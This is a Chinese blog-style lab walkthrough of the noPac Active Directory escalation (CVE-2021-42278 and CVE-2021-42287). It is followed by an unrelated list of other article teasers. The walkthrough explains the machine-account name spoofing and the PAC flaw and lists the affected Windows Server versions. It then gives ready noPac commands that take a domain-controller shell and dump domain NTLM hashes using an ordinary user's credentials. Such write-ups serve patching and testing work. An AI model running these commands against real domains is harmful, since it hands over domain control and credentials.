当前位置： 首页 > news >正文

CVE-2021-42278 CVE-2021-42287域内提权漏洞

news 2026/3/29 4:37:35

漏洞介绍

2021 年 11 月 9 日，国外研究员在推特上发布了AD相关的 CVE，CVE-2021-42278 & CVE-2021-42287 ，两个漏洞组合可导致域内普通用户权限提升至域管权限。

CVE-2021-42278：是一个安全绕过漏洞，允许通过修改机器账户的sAMAccountName属性来冒充域控制器。与标准用户相比，机器账户的名字以$结尾，但AD并没有验证域内机器账户中是否有$，导致机器账户可以被假冒。

CVE-2021-42287：是影响Kerberos特权属性证书（PAC）的安全绕过漏洞，允许通过假冒域控制器，使密钥分发中心KDC创建高权限票据。其配合 CVE-2021-42278 使用，创建与域控机器账户名字相同的机器账户（不以$结尾），账户请求一个TGT后，更名账户，然后通过S4U2self 申请TGS Ticket，接着域控在 TGS_REP 阶段，这个账户不存在的时候，DC会使用自己的密钥加密 TGS Ticket ，提供一个属于该账户的 PAC，然后我们就得到了一个高权限ST。

漏洞利用条件：

  • 已知域控ip

  • 已知域普通账号密码信息

影响范围

漏洞影响版本

CVE-2021-42287：

  • Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)

  • Windows Server 2008 R2 for x64-based Systems Service Pack 1

  • Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)

  • Windows Server 2008 for x64-based Systems Service Pack 2

  • Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)

  • Windows Server 2008 for 32-bit Systems Service Pack 2

  • Windows Server 2012

  • Windows Server 2012 R2 (Server Core installation)

  • Windows Server 2012 R2

  • Windows Server 2012 (Server Core installation)

  • Windows Server 2016 (Server Core installation)

  • Windows Server 2016

  • Windows Server 2019 (Server Core installation)

  • Windows Server 2019

  • Windows Server, version 20H2 (Server Core Installation)

  • Windows Server, version 2004 (Server Core installation)

  • Windows Server 2022 (Server Core installation)

  • Windows Server 2022

CVE-2021-42278：

  • Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)

  • Windows Server 2008 R2 for x64-based Systems Service Pack 1

  • Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)

  • Windows Server 2008 for x64-based Systems Service Pack 2

  • Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)

  • Windows Server 2008 for 32-bit Systems Service Pack 2

  • Windows Server 2012 R2

  • Windows Server 2012 (Server Core installation)

  • Windows Server 2012 R2 (Server Core installation)

  • Windows Server 2012

  • Windows Server 2016 (Server Core installation)

  • Windows Server 2016

  • Windows Server 2019 (Server Core installation)

  • Windows Server 2019

  • Windows Server, version 20H2 (Server Core Installation)

  • Windows Server, version 2004 (Server Core installation)

  • Windows Server 2022 (Server Core installation)

  • Windows Server 2022

漏洞复现

环境：

  • win2016（192.168.10.2） 域控

  • win7（192.168.10.5），yuwin7 域普通用户

假设获取了域内普通用户yuwin7的账号密码，yuwin7 / yuwin7.com

工具：https://github.com/Ridter/noPac

  1. 漏洞检测

python scanner.py -use-ldap test.lab/yuwin7:yuwin7.com -dc-ip 192.168.10.2

如下，说明存在漏洞

  1. 直接获取域控shell

python noPac.py  -use-ldap test.lab/yuwin7:yuwin7.com -dc-ip 192.168.10.2 -shell

  1. 导出域内哈希

python noPac.py  -use-ldap test.lab/yuwin7:yuwin7.com -dc-ip 192.168.10.2 -dump -just-dc-ntlm

相关文章：

CVE-2021-42278 CVE-2021-42287域内提权漏洞

漏洞介绍2021 年 11 月 9 日，国外研究员在推特上发布了AD相关的 CVE，CVE-2021-42278 & CVE-2021-42287 ，两个漏洞组合可导致域内普通用户权限提升至域管权限。CVE-2021-42278：是一个安全绕过漏洞，允许通过修改机器…...

编程日记 2023/2/18 2:37:52

关于IcmpSendEcho2的使用和回调问题

由于我的需求是短时间内ping多台机子，所以需要异步执行，微软提供的例子是同步方式的，根据微软官方提供的icmpSendEcho2 函数的信息 ，我需要定义一个空的宏PIO_APC_ROUTINE_DEFINED ，定义完之后，编译又出现…...

编程日记 2023/2/18 2:36:45

XQuery 术语

在 XQuery 中，有七种节点：元素、属性、文本、命名空间、处理指令、注释、以及文档节点（或称为根节点）。 XQuery 术语 节点 在 XQuery 中，有七种节点：元素、属性、文本、命名空间、处理指令、注释、以及文…...

编程日记 2023/2/18 2:35:41

会议论文分享-Security22-状态感知符号执行

Ferry: State-Aware Symbolic Execution for Exploring State-Dependent Program Paths1.引言2.问题陈述与分析2.1.实现状态感知符号执行的挑战2.2.真实程序的特征2.3.Ferry的模型2.3.1.程序状态的定义2.3.2.状态描述变量的特征3.Design3.1.Overview of Ferry3.2.状态描述变量识…...

编程日记 2023/2/18 2:34:30

吴恩达深度学习笔记（八）——卷积神经网络（上）

一、卷积相关 用一个ff的过滤器卷积一个nn的图像，假如padding为p，步幅为s，输出大小则为： [n2p−fs1][n2p−fs1][\frac{n2p-f}{s}1][\frac{n2p-f}{s}1][sn2p−f​1][sn2p−f​1] []表示向下取整（floor) 大部分深度学习…...

编程日记 2023/2/18 2:33:23

14 基数排序(桶排序)

文章目录1 基数排序基本思想2 基数排序的代码实现2.1 java2.2 scala3 基数排序总结1 基数排序基本思想 1) 基数排序（radix sort）属于“分配式排序”（distribution sort），又称“桶子法”（bucket sort&#…...

编程日记 2023/2/18 2:32:17

汉明距离Java解法

两个整数之间的 汉明距离 指的是这两个数字对应二进制位不同的位置的数目。 给你两个整数 x 和 y，计算并返回它们之间的汉明距离。 例： 输入：x 1, y 4 输出：2 解释： 1 (0 0 0 1) 4 (0 1 0 0) ↑ ↑ 上…...

编程日记 2023/2/18 2:31:12

Netty服务端请求接受过程源码剖析

目标 服务器启动后，客户端进行连接，服务器端此时要接受客户端请求，并且返回给客户端想要的请求，下面我们的目标就是分析Netty 服务器端启动后是怎么接受到客户端请求的。我们的代码依然与上一篇中用同一个demo， 用io.…...

编程日记 2023/2/18 2:30:06

金三银四春招特供｜高质量面试攻略

🔰 全文字数 : 1万5千 🕒 阅读时长 : 20min 📋 关键词 : 求职规划、面试准备、面试技巧、谈薪职级 👉 公众号 : 大摩羯先生 本篇来聊聊一个老生常谈的话题————“面试”。利用近三周工作午休时间整理了这篇洋洋洒洒却饱含真诚…...

编程日记 2023/2/18 2:28:58

搭建Hexo博客-第4章-绑定自定义域名

搭建Hexo博客-第4章-绑定自定义域名 搭建Hexo博客-第4章-绑定自定义域名 搭建Hexo博客-第4章-绑定自定义域名 在这一篇文章中，我将会介绍如何给博客绑定你自己的域名。其实绑定域名本应该很简单的，但我当初在这上走了不少弯路，所以我觉得有…...

编程日记 2023/2/18 2:27:49

lightdb-sql拦截

文章目录LightDB - sql 审核拦截一 简介二 参数2.1 lightdb_sql_mode2.2 lt_firewall.lightdb_business_time三 规则介绍及使用3.1 select_without_where3.1.1 案例3.2 update_without_where/delete_without_where3.2.1 案例3.3 high_risk_ddl3.3.1 案例LightDB - sql 审核拦截…...

编程日记 2023/2/18 2:26:45

二进制中1的个数-剑指Offer-java位运算

一、题目描述编写一个函数，输入是一个无符号整数（以二进制串的形式），返回其二进制表达式中数字位数为 1 的个数（也被称为 汉明重量).）。提示：请注意，在某些语言（如 Java&…...

编程日记 2023/2/18 2:25:40

学自动化测试可以用这几个练手项目

练手项目的业务逻辑比较简单，只适合练手，不能代替真实项目。 学习自动化测试最难的是没有合适的项目练习。 测试本身既要讲究科学，又有艺术成分，单单学几个 api 的调用很难应付工作中具体的问题。 你得知道什么场景下需要添加显…...

编程日记 2023/2/18 2:24:33

2023年保健饮品行业分析：市场规模不断攀升，年度销额增长近140%

随着人们健康意识的不断增强，我国保健品市场需求持续增长，同时，保健饮品的市场规模也在不断攀升。 根据鲸参谋电商数据显示，2022年度，京东平台上保健饮品的年度销量超60万件，同比增长了约124%；该…...

编程日记 2023/2/18 2:23:29

2023-02-17 学习记录--TS-邂逅TS（一）

TS-邂逅TS（一） 不积跬步，无以至千里；不积小流，无以成江海。💪🏻 一、TypeScript在线编译器 https://www.typescriptlang.org/play/ 二、类型 1、普通类型 number（数值型&#xff…...

编程日记 2023/2/18 2:22:23

SpringMVC创建异步回调请求的4种方式

首先要明确一点，同步请求和异步请求对于客户端用户来讲是一样的，都是需客户端等待返回结果。不同之处在于请求到达服务器之后的处理方式，下面用两张图解释一下同步请求和异步请求在服务端处理方式的不同：同步请求异步请求两个流程…...

编程日记 2023/2/18 2:21:17

MySQL（二）表的操作

一、创建表 CREATE TABLE table_name ( field1 datatype, field2 datatype, field3 datatype ) character set 字符集 collate 校验规则 engine 存储引擎; 说明： field 表示列名 datatype 表示列的类型 character set 字符集，如…...

编程日记 2023/2/18 2:20:09

SpringCloud - 入门

目录 服务架构演变 单体架构 分布式架构 分布式架构要考虑的问题 微服务 初步认识 案例Demo 服务拆分注意事项 服务拆分示例 服务调用 服务架构演变 单体架构 将业务的所有功能集中在一个项目中开发，打成一个包部署优点： 架构简单部署成本低缺…...

编程日记 2023/2/18 2:19:03

进一步了解C++函数的各种参数以及重载，了解C++部分的内存模型，C++独特的引用方式，巧妙替换指针，初步了解类与对象。满满的知识，希望大家能多多支持

C的编程精华，走过路过千万不要错过啊！废话少说，我们直接进入正题！！！！ 函数高级 C的函数提高 函数默认参数 在C中，函数的形参列表中的形参是可以有默认值的。 语法：返…...

编程日记 2023/2/18 2:17:57

Chapter6：机器人SLAM与自主导航

ROS1{\rm ROS1}ROS1的基础及应用，基于古月的课，各位可以去看，基于hawkbot{\rm hawkbot}hawkbot机器人进行实际操作。 ROS{\rm ROS}ROS版本：ROS1{\rm ROS1}ROS1的Melodic{\rm Melodic}Melodic；实际机器人：Ha…...

编程日记 2023/2/18 2:16:48

如何快速解密Navicat加密密码？这款开源工具让数据库连接迁移更简单

如何快速解密Navicat加密密码？这款开源工具让数据库连接迁移更简单 【免费下载链接】navicat_password_decrypt 忘记navicat密码时,此工具可以帮您查看密码 项目地址: https://gitcode.com/gh_mirrors/na/navicat_password_decrypt 在数据库管理工作中&#…...

编程新知 2026/3/29 4:35:20

Taho移动端展望：社区钱包的未来发展路线图

Taho移动端展望：社区钱包的未来发展路线图 【免费下载链接】extension Taho, the community owned and operated Web3 wallet. 项目地址: https://gitcode.com/gh_mirrors/ex/extension Taho作为社区拥有和运营的Web3钱包，正在重新定义去中心化金…...

编程新知 2026/3/29 3:42:47

企业内部AI定制哪家强？

企业内部AI定制，难道不是数谷智能科技的核心专长吗？在2026年的大湾区商业版图中，“数字化”早已不再是选择题，而是关乎生存的底座。从深圳龙岗的跨境电商写字楼，到东莞松山湖的精密智造车间，管理者们正面临…...

编程新知 2026/3/29 1:39:29

抖音批量下载工具：高效自动化内容采集解决方案

抖音批量下载工具：高效自动化内容采集解决方案 【免费下载链接】douyin-downloader 项目地址: https://gitcode.com/GitHub_Trending/do/douyin-downloader 在内容创作与数据分析领域，高效获取抖音视频资源是许多从业者面临的共同挑战。传统手动…...

编程新知 2026/3/29 1:15:20

nbiot-arduino库：Quectel BC95/BC68模组快速接入指南

1. 项目概述nbiot-arduino是一个面向嵌入式开发者的轻量级 Arduino 库，专为驱动 Quectel 公司推出的 NB-IoT（Narrowband IoT）通信模组而设计。该库并非通用 AT 指令封装器，而是聚焦于 NB-IoT 物联网场景下的典型交互范式——以低功…...

编程新知 2026/3/29 0:39:11

从零到一：STM32F407 HAL库定时器中断精准点亮LED（CubeMX实战）

1. 开发环境搭建与硬件准备 第一次接触STM32开发的朋友可能会被各种专业术语吓到，但其实只要跟着步骤来，配置开发环境就像搭积木一样简单。我手头用的是正点原子探索者V3开发板，主控芯片是STM32F407ZGT6，这块板子对新手特别友好&a…...

编程新知 2026/3/28 23:59:01

终极JavaScript模块系统指南：ES Modules与CommonJS实战解析

终极JavaScript模块系统指南：ES Modules与CommonJS实战解析 【免费下载链接】50projects50days 50 mini web projects using HTML, CSS & JS 项目地址: https://gitcode.com/GitHub_Trending/50/50projects50days JavaScript模块系统是现代前端开发的核心…...

编程新知 2026/3/28 23:24:41

nix-installer多平台部署实战：Linux、macOS、WSL全攻略

nix-installer多平台部署实战：Linux、macOS、WSL全攻略 【免费下载链接】nix-installer Install Nix and flakes with the fast and reliable Determinate Nix Installer, with over a million installs. 项目地址: https://gitcode.com/gh_mirrors/ni/nix-instal…...

编程新知 2026/3/28 22:58:20

LIS3DH加速度计驱动开发与嵌入式应用实战

1. MentorBit-LIS3DH 库深度技术解析：面向嵌入式工程师的 LIS3DH 加速计驱动开发指南1.1 项目定位与工程价值MentorBit-LIS3DH 是一款专为 MentorBit 教育开发平台设计的轻量级 C 封装库，其核心目标并非提供通用型传感器抽象层，而是在硬件约束…...

编程新知 2026/3/28 22:58:19

微信小程序UI组件库终极指南：WeUI-WXSS与Vant、ColorUI深度对比分析

微信小程序UI组件库终极指南：WeUI-WXSS与Vant、ColorUI深度对比分析 【免费下载链接】weui-wxss A UI library by WeChat official design team, includes the most useful widgets/modules. 项目地址: https://gitcode.com/gh_mirrors/we/weui-wxss WeUI-WX…...

编程新知 2026/3/28 22:24:07